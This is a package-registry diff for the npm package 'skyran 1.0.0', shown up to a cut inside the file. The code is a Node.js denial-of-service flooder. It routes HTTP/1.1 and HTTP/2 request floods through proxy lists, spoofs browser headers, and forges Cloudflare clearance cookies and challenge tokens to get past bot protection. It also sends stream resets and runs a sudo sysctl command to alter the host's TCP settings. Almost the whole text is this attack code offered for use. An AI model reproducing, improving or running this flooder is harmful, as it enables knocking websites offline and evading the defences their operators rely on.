skyran 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,812 @@
1
+ const net = require('net');
2
+ const tls = require('tls');
3
+ const HPACK = require('hpack');
4
+ const cluster = require('cluster');
5
+ const fs = require('fs');
6
+ const os = require('os');
7
+ const crypto = require('crypto');
8
+ const { exec } = require('child_process');
9
+
10
+ const ignoreNames = [
11
+ 'RequestError',
12
+ 'StatusCodeError',
13
+ 'CaptchaError',
14
+ 'CloudflareError',
15
+ 'ParseError',
16
+ 'ParserError',
17
+ 'TimeoutError',
18
+ 'JSONError',
19
+ 'URLError',
20
+ 'InvalidURL',
21
+ 'ProxyError'
22
+ ];
23
+
24
+ const ignoreCodes = [
25
+ 'SELF_SIGNED_CERT_IN_CHAIN',
26
+ 'ECONNRESET',
27
+ 'ERR_ASSERTION',
28
+ 'ECONNREFUSED',
29
+ 'EPIPE',
30
+ 'EHOSTUNREACH',
31
+ 'ETIMEDOUT',
32
+ 'ESOCKETTIMEDOUT',
33
+ 'EPROTO',
34
+ 'EAI_AGAIN',
35
+ 'EHOSTDOWN',
36
+ 'ENETRESET',
37
+ 'ENETUNREACH',
38
+ 'ENONET',
39
+ 'ENOTCONN',
40
+ 'ENOTFOUND',
41
+ 'EAI_NODATA',
42
+ 'EAI_NONAME',
43
+ 'EADDRNOTAVAIL',
44
+ 'EAFNOSUPPORT',
45
+ 'EALREADY',
46
+ 'EBADF',
47
+ 'ECONNABORTED',
48
+ 'EDESTADDRREQ',
49
+ 'EDQUOT',
50
+ 'EFAULT',
51
+ 'EHOSTUNREACH',
52
+ 'EIDRM',
53
+ 'EILSEQ',
54
+ 'EINPROGRESS',
55
+ 'EINTR',
56
+ 'EINVAL',
57
+ 'EIO',
58
+ 'EISCONN',
59
+ 'EMFILE',
60
+ 'EMLINK',
61
+ 'EMSGSIZE',
62
+ 'ENAMETOOLONG',
63
+ 'ENETDOWN',
64
+ 'ENOBUFS',
65
+ 'ENODEV',
66
+ 'ENOENT',
67
+ 'ENOMEM',
68
+ 'ENOPROTOOPT',
69
+ 'ENOSPC',
70
+ 'ENOSYS',
71
+ 'ENOTDIR',
72
+ 'ENOTEMPTY',
73
+ 'ENOTSOCK',
74
+ 'EOPNOTSUPP',
75
+ 'EPERM',
76
+ 'EPIPE',
77
+ 'EPROTONOSUPPORT',
78
+ 'ERANGE',
79
+ 'EROFS',
80
+ 'ESHUTDOWN',
81
+ 'ESPIPE',
82
+ 'ESRCH',
83
+ 'ETIME',
84
+ 'ETXTBSY',
85
+ 'EXDEV',
86
+ 'UNKNOWN',
87
+ 'DEPTH_ZERO_SELF_SIGNED_CERT',
88
+ 'UNABLE_TO_VERIFY_LEAF_SIGNATURE',
89
+ 'CERT_HAS_EXPIRED',
90
+ 'CERT_NOT_YET_VALID',
91
+ 'ERR_SOCKET_BAD_PORT'
92
+ ];
93
+
94
+ require("events").EventEmitter.defaultMaxListeners = Number.MAX_VALUE;
95
+
96
+ process
97
+ .setMaxListeners(0)
98
+ .on('uncaughtException', function (e) {
99
+ console.log(e)
100
+ if (e.code && ignoreCodes.includes(e.code) || e.name && ignoreNames.includes(e.name)) return false;
101
+ })
102
+ .on('unhandledRejection', function (e) {
103
+ if (e.code && ignoreCodes.includes(e.code) || e.name && ignoreNames.includes(e.name)) return false;
104
+ })
105
+ .on('warning', e => {
106
+ if (e.code && ignoreCodes.includes(e.code) || e.name && ignoreNames.includes(e.name)) return false;
107
+ })
108
+ .on("SIGHUP", () => {
109
+ return 1;
110
+ })
111
+ .on("SIGCHILD", () => {
112
+ return 1;
113
+ });
114
+
115
+ const statusesQ = []
116
+ let statuses = {}
117
+ let isFull = process.argv.includes('--full');
118
+ let custom_table = 65535;
119
+ let custom_window = 6291456;
120
+ let custom_header = 262144;
121
+ let custom_update = 15663105;
122
+ let timer = 0;
123
+
124
+ const timestamp = Date.now();
125
+ const timestampString = timestamp.toString().substring(0, 10);
126
+
127
+ const PREFACE = "PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n";
128
+ const reqmethod = process.argv[2];
129
+ const target = process.argv[3];
130
+ const time = process.argv[4];
131
+ const threads = process.argv[5];
132
+ const ratelimit = process.argv[6];
133
+ const proxyfile = process.argv[7];
134
+ /*Its Not Official Methods Of StarsXCihuy
135
+
136
+ This Script Based On Tornado Methods By rapid
137
+ I Just Remove And Optimize Some Code*/
138
+
139
+ const queryIndex = process.argv.indexOf('--query');
140
+ const query = queryIndex !== -1 && queryIndex + 1 < process.argv.length ? process.argv[queryIndex + 1] : undefined;
141
+ const bfmFlagIndex = process.argv.indexOf('--bfm');
142
+ const bfmFlag = bfmFlagIndex !== -1 && bfmFlagIndex + 1 < process.argv.length ? process.argv[bfmFlagIndex + 1] : undefined;
143
+ const delayIndex = process.argv.indexOf('--delay');
144
+ const delay = delayIndex !== -1 && delayIndex + 1 < process.argv.length ? parseInt(process.argv[delayIndex + 1]) : 0;
145
+ const cookieIndex = process.argv.indexOf('--cookie');
146
+ const cookieValue = cookieIndex !== -1 && cookieIndex + 1 < process.argv.length ? process.argv[cookieIndex + 1] : undefined;
147
+ const refererIndex = process.argv.indexOf('--referer');
148
+ const refererValue = refererIndex !== -1 && refererIndex + 1 < process.argv.length ? process.argv[refererIndex + 1] : undefined;
149
+ const postdataIndex = process.argv.indexOf('--postdata');
150
+ const postdata = postdataIndex !== -1 && postdataIndex + 1 < process.argv.length ? process.argv[postdataIndex + 1] : undefined;
151
+ const randrateIndex = process.argv.indexOf('--randrate');
152
+ const randrate = randrateIndex !== -1 && randrateIndex + 1 < process.argv.length ? process.argv[randrateIndex + 1] : undefined;
153
+ const customHeadersIndex = process.argv.indexOf('--header');
154
+ const customHeaders = customHeadersIndex !== -1 && customHeadersIndex + 1 < process.argv.length ? process.argv[customHeadersIndex + 1] : undefined;
155
+
156
+ const customIPindex = process.argv.indexOf('--ip');
157
+ const customIP = customIPindex !== -1 && customIPindex + 1 < process.argv.length ? process.argv[customIPindex + 1] : undefined;
158
+
159
+ const customUAindex = process.argv.indexOf('--useragent');
160
+ const customUA = customUAindex !== -1 && customUAindex + 1 < process.argv.length ? process.argv[customUAindex + 1] : undefined;
161
+
162
+ const forceHttpIndex = process.argv.indexOf('--http');
163
+ const useLegitHeaders = process.argv.includes('--legit');
164
+ const forceHttp = forceHttpIndex !== -1 && forceHttpIndex + 1 < process.argv.length ? process.argv[forceHttpIndex + 1] == "mix" ? undefined : parseInt(process.argv[forceHttpIndex + 1]) : "2";
165
+ const debugMode = process.argv.includes('--debug') && forceHttp != 1;
166
+
167
+ if (!reqmethod || !target || !time || !threads || !ratelimit || !proxyfile) {
168
+ console.clear();
169
+ console.error(`
170
+ How to use & example:
171
+ node ${process.argv[1]} <GET/POST> <target> <time> <threads> <ratelimit> <proxy> `);
172
+ process.exit(1);
173
+ }
174
+
175
+ let hcookie = '';
176
+
177
+ const url = new URL(target)
178
+ const proxy = fs.readFileSync(proxyfile, 'utf8').replace(/\r/g, '').split('\n')
179
+
180
+ if (!['GET', 'POST', 'HEAD', 'OPTIONS'].includes(reqmethod)) {
181
+ console.error('Error request method only can GET/POST/HEAD/OPTIONS');
182
+ process.exit(1);
183
+ }
184
+
185
+ if (!target.startsWith('https://') && !target.startsWith('http://')) {
186
+ console.error('Error protocol can only https:// or http://');
187
+ process.exit(1);
188
+ }
189
+
190
+ if (bfmFlag && bfmFlag.toLowerCase() === 'true') {
191
+ hcookie = `cf_clearance=${randstr(22)}_${randstr(1)}.${randstr(3)}.${randstr(14)}-${timestampString}-1.0-${randstr(6)}+${randstr(80)}=`;
192
+ }
193
+
194
+ if (cookieValue) {
195
+ if (cookieValue === '%RAND%') {
196
+ hcookie = hcookie ? `${hcookie}; ${ememmmmmemmeme(6, 6)}` : ememmmmmemmeme(6, 6);
197
+ } else {
198
+ hcookie = hcookie ? `${hcookie}; ${cookieValue}` : cookieValue;
199
+ }
200
+ }
201
+
202
+ function encodeFrame(streamId, type, payload = "", flags = 0) {
203
+ let frame = Buffer.alloc(9)
204
+ frame.writeUInt32BE(payload.length << 8 | type, 0)
205
+ frame.writeUInt8(flags, 4)
206
+ frame.writeUInt32BE(streamId, 5)
207
+ if (payload.length > 0)
208
+ frame = Buffer.concat([frame, payload])
209
+ return frame
210
+ }
211
+
212
+ function decodeFrame(data) {
213
+ const lengthAndType = data.readUInt32BE(0)
214
+ const length = lengthAndType >> 8
215
+ const type = lengthAndType & 0xFF
216
+ const flags = data.readUint8(4)
217
+ const streamId = data.readUInt32BE(5)
218
+ const offset = flags & 0x20 ? 5 : 0
219
+
220
+ let payload = Buffer.alloc(0)
221
+
222
+ if (length > 0) {
223
+ payload = data.subarray(9 + offset, 9 + offset + length)
224
+
225
+ if (payload.length + offset != length) {
226
+ return null
227
+ }
228
+ }
229
+
230
+ return {
231
+ streamId,
232
+ length,
233
+ type,
234
+ flags,
235
+ payload
236
+ }
237
+ }
238
+
239
+ function encodeSettings(settings) {
240
+ const data = Buffer.alloc(6 * settings.length)
241
+ for (let i = 0; i < settings.length; i++) {
242
+ data.writeUInt16BE(settings[i][0], i * 6)
243
+ data.writeUInt32BE(settings[i][1], i * 6 + 2)
244
+ }
245
+ return data
246
+ }
247
+
248
+ function encodeRstStream(streamId, type, flags) {
249
+ const frameHeader = Buffer.alloc(9);
250
+ frameHeader.writeUInt32BE(4, 0);
251
+ frameHeader.writeUInt8(type, 4);
252
+ frameHeader.writeUInt8(flags, 5);
253
+ frameHeader.writeUInt32BE(streamId, 5);
254
+ const statusCode = Buffer.alloc(4).fill(0);
255
+ return Buffer.concat([frameHeader, statusCode]);
256
+ }
257
+
258
+ const getRandomChar = () => {
259
+ const pizda4 = 'abcdefghijklmnopqrstuvwxyz';
260
+ const randomIndex = Math.floor(Math.random() * pizda4.length);
261
+ return pizda4[randomIndex];
262
+ };
263
+
264
+ function randstr(length) {
265
+ const characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
266
+ let result = "";
267
+ const charactersLength = characters.length;
268
+ for (let i = 0; i < length; i++) {
269
+ result += characters.charAt(Math.floor(Math.random() * charactersLength));
270
+ }
271
+ return result;
272
+ }
273
+
274
+ if (url.pathname.includes("%RAND%")) {
275
+ const randomValue = randstr(6) + "&" + randstr(6);
276
+ url.pathname = url.pathname.replace("%RAND%", randomValue);
277
+ }
278
+
279
+ function randstrr(length) {
280
+ const characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._-";
281
+ let result = "";
282
+ const charactersLength = characters.length;
283
+ for (let i = 0; i < length; i++) {
284
+ result += characters.charAt(Math.floor(Math.random() * charactersLength));
285
+ }
286
+ return result;
287
+ }
288
+
289
+ function generateRandomString(minLength, maxLength) {
290
+ const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
291
+ const length = Math.floor(Math.random() * (maxLength - minLength + 1)) + minLength;
292
+ let result = '';
293
+ for (let i = 0; i < length; i++) {
294
+ const randomIndex = Math.floor(Math.random() * characters.length);
295
+ result += characters[randomIndex];
296
+ }
297
+ return result;
298
+ }
299
+
300
+ function ememmmmmemmeme(minLength, maxLength) {
301
+ const characters = 'abcdefghijklmnopqrstuvwxyz';
302
+ const length = Math.floor(Math.random() * (maxLength - minLength + 1)) + minLength;
303
+ let result = '';
304
+ for (let i = 0; i < length; i++) {
305
+ const randomIndex = Math.floor(Math.random() * characters.length);
306
+ result += characters[randomIndex];
307
+ }
308
+ return result;
309
+ }
310
+
311
+ function getRandomInt(min, max) {
312
+ return Math.floor(Math.random() * (max - min + 1)) + min;
313
+ }
314
+
315
+ function buildRequest() {
316
+ const browserVersion = getRandomInt(120, 123);
317
+
318
+ const fwfw = ['Google Chrome', 'Brave'];
319
+ const wfwf = fwfw[Math.floor(Math.random() * fwfw.length)];
320
+
321
+ let brandValue;
322
+ if (browserVersion === 120) {
323
+ brandValue = `"Not_A Brand";v="8", "Chromium";v="${browserVersion}", "${wfwf}";v="${browserVersion}"`;
324
+ }
325
+ else if (browserVersion === 121) {
326
+ brandValue = `"Not A(Brand";v="99", "${wfwf}";v="${browserVersion}", "Chromium";v="${browserVersion}"`;
327
+ }
328
+ else if (browserVersion === 122) {
329
+ brandValue = `"Chromium";v="${browserVersion}", "Not(A:Brand";v="24", "${wfwf}";v="${browserVersion}"`;
330
+ }
331
+ else if (browserVersion === 123) {
332
+ brandValue = `"${wfwf}";v="${browserVersion}", "Not:A-Brand";v="8", "Chromium";v="${browserVersion}"`;
333
+ }
334
+
335
+ const isBrave = wfwf === 'Brave';
336
+
337
+ const acceptHeaderValue = isBrave
338
+ ? 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8'
339
+ : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7';
340
+
341
+
342
+ const langValue = isBrave
343
+ ? 'en-US,en;q=0.6'
344
+ : 'en-US,en;q=0.7';
345
+
346
+ const userAgent = `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/${browserVersion}.0.0.0 Safari/537.36`;
347
+ const secChUa = `${brandValue}`;
348
+ const currentRefererValue = refererValue === 'rand' ? 'https://' + ememmmmmemmeme(6, 6) + ".net" : refererValue;
349
+
350
+ let mysor = '\r\n';
351
+ let mysor1 = '\r\n';
352
+ if (hcookie || currentRefererValue) {
353
+ mysor = '\r\n'
354
+ mysor1 = '';
355
+ } else {
356
+ mysor = '';
357
+ mysor1 = '\r\n';
358
+ }
359
+
360
+ let headers = `${reqmethod} ${url.pathname} HTTP/1.1\r\n` +
361
+ `Accept: ${acceptHeaderValue}\r\n` +
362
+ 'Accept-Encoding: gzip, deflate, br\r\n' +
363
+ `Accept-Language: ${langValue}\r\n` +
364
+ 'Cache-Control: max-age=0\r\n' +
365
+ 'Connection: Keep-Alive\r\n' +
366
+ `Host: ${url.hostname}\r\n` +
367
+ 'Sec-Fetch-Dest: document\r\n' +
368
+ 'Sec-Fetch-Mode: navigate\r\n' +
369
+ 'Sec-Fetch-Site: none\r\n' +
370
+ 'Sec-Fetch-User: ?1\r\n' +
371
+ 'Upgrade-Insecure-Requests: 1\r\n' +
372
+ `User-Agent: ${userAgent}\r\n` +
373
+ `sec-ch-ua: ${secChUa}\r\n` +
374
+ 'sec-ch-ua-mobile: ?0\r\n' +
375
+ 'sec-ch-ua-platform: "Windows"\r\n' + mysor1;
376
+
377
+ if (hcookie) {
378
+ headers += `Cookie: ${hcookie}\r\n`;
379
+ }
380
+
381
+ if (currentRefererValue) {
382
+ headers += `Referer: ${currentRefererValue}\r\n` + mysor;
383
+ }
384
+
385
+ const mmm = Buffer.from(`${headers}`, 'binary');
386
+ //console.log(headers.toString());
387
+ return mmm;
388
+ }
389
+
390
+ const http1Payload = Buffer.concat(new Array(1).fill(buildRequest()))
391
+
392
+ function go() {
393
+ var [proxyHost, proxyPort] = '1.1.1.1:3128';
394
+
395
+ if(customIP) {
396
+ [proxyHost, proxyPort] = customIP.split(':');
397
+ } else {
398
+ [proxyHost, proxyPort] = proxy[~~(Math.random() * proxy.length)].split(':');
399
+ }
400
+
401
+ let tlsSocket;
402
+
403
+ if (!proxyPort || isNaN(proxyPort)) {
404
+ go()
405
+ return
406
+ }
407
+
408
+ const netSocket = net.connect(Number(proxyPort), proxyHost, () => {
409
+ netSocket.once('data', () => {
410
+ tlsSocket = tls.connect({
411
+ socket: netSocket,
412
+ ALPNProtocols: forceHttp === 1 ? ['http/1.2'] : forceHttp === 2 ? ['h2'] : forceHttp === undefined ? Math.random() >= 0.5 ? ['h2'] : ['http/1.1'] : ['h2', 'http/1.1'],
413
+ servername: url.host,
414
+ ciphers: 'TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305',
415
+ sigalgs: 'ecdsa_secp256r1_sha256:rsa_pss_rsae_sha256:rsa_pkcs1_sha256',
416
+ secureOptions: crypto.constants.SSL_OP_NO_RENEGOTIATION | crypto.constants.SSL_OP_NO_TICKET | crypto.constants.SSL_OP_NO_SSLv2 | crypto.constants.SSL_OP_NO_SSLv3 | crypto.constants.SSL_OP_NO_COMPRESSION | crypto.constants.SSL_OP_NO_RENEGOTIATION | crypto.constants.SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION | crypto.constants.SSL_OP_TLSEXT_PADDING | crypto.constants.SSL_OP_ALL | crypto.constants.SSLcom,
417
+ secure: true,
418
+ minVersion: 'TLSv1.2',
419
+ maxVersion: 'TLSv1.3',
420
+ rejectUnauthorized: false
421
+ }, () => {
422
+ if (!tlsSocket.alpnProtocol || tlsSocket.alpnProtocol == 'http/1.1') {
423
+
424
+ if (forceHttp == 2) {
425
+ tlsSocket.end(() => tlsSocket.destroy())
426
+ return
427
+ }
428
+
429
+ function doWrite() {
430
+ tlsSocket.write(http1Payload, (err) => {
431
+ if (!err) {
432
+ setTimeout(() => {
433
+ doWrite()
434
+ }, isFull ? 1000 : 1000 / ratelimit)
435
+ } else {
436
+ tlsSocket.end(() => tlsSocket.destroy())
437
+ }
438
+ })
439
+ }
440
+
441
+ doWrite()
442
+
443
+ tlsSocket.on('error', () => {
444
+ tlsSocket.end(() => tlsSocket.destroy())
445
+ })
446
+ return
447
+ }
448
+
449
+ if (forceHttp == 1) {
450
+ tlsSocket.end(() => tlsSocket.destroy())
451
+ return
452
+ }
453
+
454
+ let streamId = 1
455
+ let data = Buffer.alloc(0)
456
+ let hpack = new HPACK()
457
+ hpack.setTableSize(4096)
458
+
459
+ const updateWindow = Buffer.alloc(4)
460
+ updateWindow.writeUInt32BE(custom_update, 0)
461
+
462
+ const frames = [
463
+ Buffer.from(PREFACE, 'binary'),
464
+ encodeFrame(0, 4, encodeSettings([
465
+ [1, custom_header],
466
+ [2, 0],
467
+ [4, custom_window],
468
+ [6, custom_table]
469
+ ])),
470
+ encodeFrame(0, 8, updateWindow)
471
+ ];
472
+
473
+ tlsSocket.on('data', (eventData) => {
474
+ data = Buffer.concat([data, eventData])
475
+
476
+ while (data.length >= 9) {
477
+ const frame = decodeFrame(data)
478
+ if (frame != null) {
479
+ data = data.subarray(frame.length + 9)
480
+ if (frame.type == 4 && frame.flags == 0) {
481
+ tlsSocket.write(encodeFrame(0, 4, "", 1))
482
+ }
483
+ if (frame.type == 1 && debugMode) {
484
+ const status = hpack.decode(frame.payload).find(x => x[0] == ':status')[1]
485
+ if (!statuses[status])
486
+ statuses[status] = 0
487
+
488
+ statuses[status]++
489
+ }
490
+ if (frame.type == 7 || frame.type == 5) {
491
+ if (frame.type == 7) {
492
+ if (debugMode) {
493
+
494
+ //console.log("goaway", frame.payload.readUint32BE(0), frame.payload.readUint32BE(4))
495
+
496
+ if (!statuses["GOAWAY"])
497
+ statuses["GOAWAY"] = 0
498
+
499
+ statuses["GOAWAY"]++
500
+ }
501
+ }
502
+ tlsSocket.write(encodeRstStream(0, 3, 0)); // beta
503
+ tlsSocket.end(() => tlsSocket.destroy()) // still beta
504
+ }
505
+
506
+ } else {
507
+ break
508
+ }
509
+ }
510
+ })
511
+
512
+ tlsSocket.write(Buffer.concat(frames))
513
+
514
+ function doWrite() {
515
+ if (tlsSocket.destroyed) {
516
+ return
517
+ }
518
+ //const fwq = getRandomInt(0,1);
519
+ const requests = []
520
+ const customHeadersArray = [];
521
+ if (customHeaders) {
522
+ const customHeadersList = customHeaders.split('#');
523
+ for (const header of customHeadersList) {
524
+ const [name, value] = header.split(':');
525
+ if (name && value) {
526
+ customHeadersArray.push({ [name.trim().toLowerCase()]: value.trim() });
527
+ }
528
+ }
529
+ }
530
+ let ratelimit;
531
+ if (randrate !== undefined) {
532
+ ratelimit = getRandomInt(1, 59);
533
+ } else {
534
+ ratelimit = process.argv[6];
535
+ }
536
+ for (let i = 0; i < (isFull ? ratelimit : 1); i++) {
537
+ const browserVersion = getRandomInt(120, 123);
538
+
539
+ const fwfw = ['Google Chrome', 'Brave'];
540
+ const wfwf = fwfw[Math.floor(Math.random() * fwfw.length)];
541
+ const ref = ["same-site", "same-origin", "cross-site"];
542
+ const ref1 = ref[Math.floor(Math.random() * ref.length)];
543
+
544
+ let brandValue;
545
+ if (browserVersion === 120) {
546
+ brandValue = `\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"${browserVersion}\", \"${wfwf}\";v=\"${browserVersion}\"`;
547
+ } else if (browserVersion === 121) {
548
+ brandValue = `\"Not A(Brand\";v=\"99\", \"${wfwf}\";v=\"${browserVersion}\", \"Chromium\";v=\"${browserVersion}\"`;
549
+ }
550
+ else if (browserVersion === 122) {
551
+ brandValue = `\"Chromium\";v=\"${browserVersion}\", \"Not(A:Brand\";v=\"24\", \"${wfwf}\";v=\"${browserVersion}\"`;
552
+ }
553
+ else if (browserVersion === 123) {
554
+ brandValue = `\"${wfwf}\";v=\"${browserVersion}\", \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"${browserVersion}\"`;
555
+ }
556
+
557
+ const isBrave = wfwf === 'Brave';
558
+
559
+ const acceptHeaderValue = isBrave
560
+ ? 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8'
561
+ : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7';
562
+
563
+ const langValue = isBrave
564
+ ? 'en-US,en;q=0.9'
565
+ : 'en-US,en;q=0.7';
566
+
567
+ const secGpcValue = isBrave ? "1" : undefined;
568
+
569
+ const secChUaModel = isBrave ? '""' : undefined;
570
+ const secChUaPlatform = isBrave ? 'Windows' : undefined;
571
+ const secChUaPlatformVersion = isBrave ? '10.0.0' : undefined;
572
+ const secChUaMobile = isBrave ? '?0' : undefined;
573
+
574
+ var userAgent = `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/${browserVersion}.0.0.0 Safari/537.36`;
575
+
576
+ if(customUA) {
577
+ userAgent = customUA;
578
+ } else {
579
+ userAgent = `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/${browserVersion}.0.0.0 Safari/537.36`;
580
+ }
581
+
582
+ const secChUa = `${brandValue}`;
583
+ const currentRefererValue = refererValue === 'rand' ? 'https://' + ememmmmmemmeme(6, 6) + ".net" : refererValue;
584
+ const headers = Object.entries({
585
+ ":method": reqmethod,
586
+ ":authority": url.hostname,
587
+ ":scheme": "https",
588
+ ":path": query ? handleQuery(query) : url.pathname + (postdata ? `?${postdata}` : ""),
589
+ }).concat(Object.entries({
590
+ ...(Math.random() < 0.4 && { "cache-control": "max-age=0" }),
591
+ ...(reqmethod === "POST" && { "content-length": "0" }),
592
+ "sec-ch-ua": secChUa,
593
+ "sec-ch-ua-mobile": "?0",
594
+ "sec-ch-ua-platform": `\"Windows\"`,
595
+ "upgrade-insecure-requests": "1",
596
+ "user-agent": userAgent,
597
+ "accept": acceptHeaderValue,
598
+ ...(secGpcValue && { "sec-gpc": secGpcValue }),
599
+ ...(secChUaMobile && { "sec-ch-ua-mobile": secChUaMobile }),
600
+ ...(secChUaModel && { "sec-ch-ua-model": secChUaModel }),
601
+ ...(secChUaPlatform && { "sec-ch-ua-platform": secChUaPlatform }),
602
+ ...(secChUaPlatformVersion && { "sec-ch-ua-platform-version": secChUaPlatformVersion }),
603
+ ...(Math.random() < 0.5 && { "sec-fetch-site": currentRefererValue ? ref1 : "none" }),
604
+ ...(Math.random() < 0.5 && { "sec-fetch-mode": "navigate" }),
605
+ ...(Math.random() < 0.5 && { "sec-fetch-user": "?1" }),
606
+ ...(Math.random() < 0.5 && { "sec-fetch-dest": "document" }),
607
+ "accept-encoding": "gzip, deflate, br",
608
+ "accept-language": langValue,
609
+ ...(hcookie && { "cookie": hcookie }),
610
+ ...(currentRefererValue && { "referer": currentRefererValue }),
611
+ ...customHeadersArray.reduce((acc, header) => ({ ...acc, ...header }), {})
612
+ }).filter(a => a[1] != null));
613
+
614
+ const headers3 = Object.entries({
615
+ ":method": reqmethod,
616
+ ":authority": url.hostname,
617
+ ":scheme": "https",
618
+ ":path": query ? handleQuery(query) : url.pathname + (postdata ? `?${postdata}` : ""),
619
+ }).concat(Object.entries({
620
+ ...(Math.random() < 0.4 && { "cache-control": "max-age=0" }),
621
+ ...(reqmethod === "POST" && { "content-length": "0" }),
622
+ "sec-ch-ua": secChUa,
623
+ "sec-ch-ua-mobile": "?0",
624
+ "sec-ch-ua-platform": `\"Windows\"`,
625
+ "upgrade-insecure-requests": "1",
626
+ "user-agent": userAgent,
627
+ "accept": acceptHeaderValue,
628
+ ...(secGpcValue && { "sec-gpc": secGpcValue }),
629
+ ...(secChUaMobile && { "sec-ch-ua-mobile": secChUaMobile }),
630
+ ...(secChUaModel && { "sec-ch-ua-model": secChUaModel }),
631
+ ...(secChUaPlatform && { "sec-ch-ua-platform": secChUaPlatform }),
632
+ ...(secChUaPlatformVersion && { "sec-ch-ua-platform-version": secChUaPlatformVersion }),
633
+ "sec-fetch-site": currentRefererValue ? ref1 : "none",
634
+ "sec-fetch-mode": "navigate",
635
+ "sec-fetch-user": "?1",
636
+ "sec-fetch-dest": "document",
637
+ "accept-encoding": "gzip, deflate, br",
638
+ "accept-language": langValue,
639
+ //...(Math.random() < 0.4 && { "priority": `u=${fwq}, i` }),
640
+ ...(hcookie && { "cookie": hcookie }),
641
+ ...(currentRefererValue && { "referer": currentRefererValue }),
642
+ ...customHeadersArray.reduce((acc, header) => ({ ...acc, ...header }), {})
643
+ }).filter(a => a[1] != null));
644
+
645
+ const headers2 = Object.entries({
646
+ ...(Math.random() < 0.3 && { [`x-client-session${getRandomChar()}`]: `none${getRandomChar()}` }),
647
+ ...(Math.random() < 0.3 && { [`sec-ms-gec-version${getRandomChar()}`]: `undefined${getRandomChar()}` }),
648
+ ...(Math.random() < 0.3 && { [`sec-fetch-users${getRandomChar()}`]: `?0${getRandomChar()}` }),
649
+ ...(Math.random() < 0.3 && { [`x-request-data${getRandomChar()}`]: `dynamic${getRandomChar()}` }),
650
+ }).filter(a => a[1] != null);
651
+
652
+ for (let i = headers2.length - 1; i > 0; i--) {
653
+ const j = Math.floor(Math.random() * (i + 1));
654
+ [headers2[i], headers2[j]] = [headers2[j], headers2[i]];
655
+ }
656
+
657
+ const combinedHeaders = useLegitHeaders ? headers3.concat() : headers.concat(headers2);
658
+
659
+ function handleQuery(query) {
660
+ if (query === '1') {
661
+ return url.pathname + '?__cf_chl_rt_tk=' + randstrr(30) + '_' + randstrr(12) + '-' + timestampString + '-0-' + 'gaNy' + randstrr(8);
662
+ } else if (query === '2') {
663
+ return url.pathname + '?' + generateRandomString(6, 7) + '&' + generateRandomString(6, 7);
664
+ } else if (query === '3') {
665
+ return url.pathname + '?q=' + generateRandomString(6, 7) + '&' + generateRandomString(6, 7);
666
+ } else {
667
+ return url.pathname;
668
+ }
669
+ }
670
+
671
+ const packed = Buffer.concat([
672
+ Buffer.from([0x80, 0, 0, 0, 0xFF]),
673
+ hpack.encode(combinedHeaders)
674
+ ]);
675
+
676
+ requests.push(encodeFrame(streamId, 1, packed, 0x25));
677
+ streamId += 2
678
+ }
679
+
680
+ tlsSocket.write(Buffer.concat(requests), (err) => {
681
+ if (!err) {
682
+ setTimeout(() => {
683
+ doWrite()
684
+ }, isFull ? 1000 : 1000 / ratelimit)
685
+ }
686
+ })
687
+ }
688
+
689
+ doWrite()
690
+ }).on('error', () => {
691
+ tlsSocket.destroy()
692
+ })
693
+ })
694
+
695
+ netSocket.write(`CONNECT ${url.host}:443 HTTP/1.1\r\nHost: ${url.host}:443\r\nProxy-Connection: Keep-Alive\r\n\r\n`)
696
+ }).once('error', () => { }).once('close', () => {
697
+ if (tlsSocket) {
698
+ tlsSocket.end(() => { tlsSocket.destroy(); go() })
699
+ }
700
+ })
701
+ }
702
+
703
+ function TCP_CHANGES_SERVER() {
704
+ const congestionControlOptions = ['cubic', 'reno', 'bbr', 'dctcp', 'hybla'];
705
+ const sackOptions = ['1', '0'];
706
+ const windowScalingOptions = ['1', '0'];
707
+ const timestampsOptions = ['1', '0'];
708
+ const selectiveAckOptions = ['1', '0'];
709
+ const tcpFastOpenOptions = ['3', '2', '1', '0'];
710
+
711
+ const congestionControl = congestionControlOptions[Math.floor(Math.random() * congestionControlOptions.length)];
712
+ const sack = sackOptions[Math.floor(Math.random() * sackOptions.length)];
713
+ const windowScaling = windowScalingOptions[Math.floor(Math.random() * windowScalingOptions.length)];
714
+ const timestamps = timestampsOptions[Math.floor(Math.random() * timestampsOptions.length)];
715
+ const selectiveAck = selectiveAckOptions[Math.floor(Math.random() * selectiveAckOptions.length)];
716
+ const tcpFastOpen = tcpFastOpenOptions[Math.floor(Math.random() * tcpFastOpenOptions.length)];
717
+
718
+ const command = `sudo sysctl -w net.ipv4.tcp_congestion_control=${congestionControl} \
719
+ net.ipv4.tcp_sack=${sack} \
720
+ net.ipv4.tcp_window_scaling=${windowScaling} \
721
+ net.ipv4.tcp_timestamps=${timestamps} \
722
+ net.ipv4.tcp_sack=${selectiveAck} \
723
+ net.ipv4.tcp_fastopen=${tcpFastOpen}`;
724
+
725
+ exec(command, () => { });
726
+ }
727
+
728
+ setInterval(() => {
729
+ timer++;
730
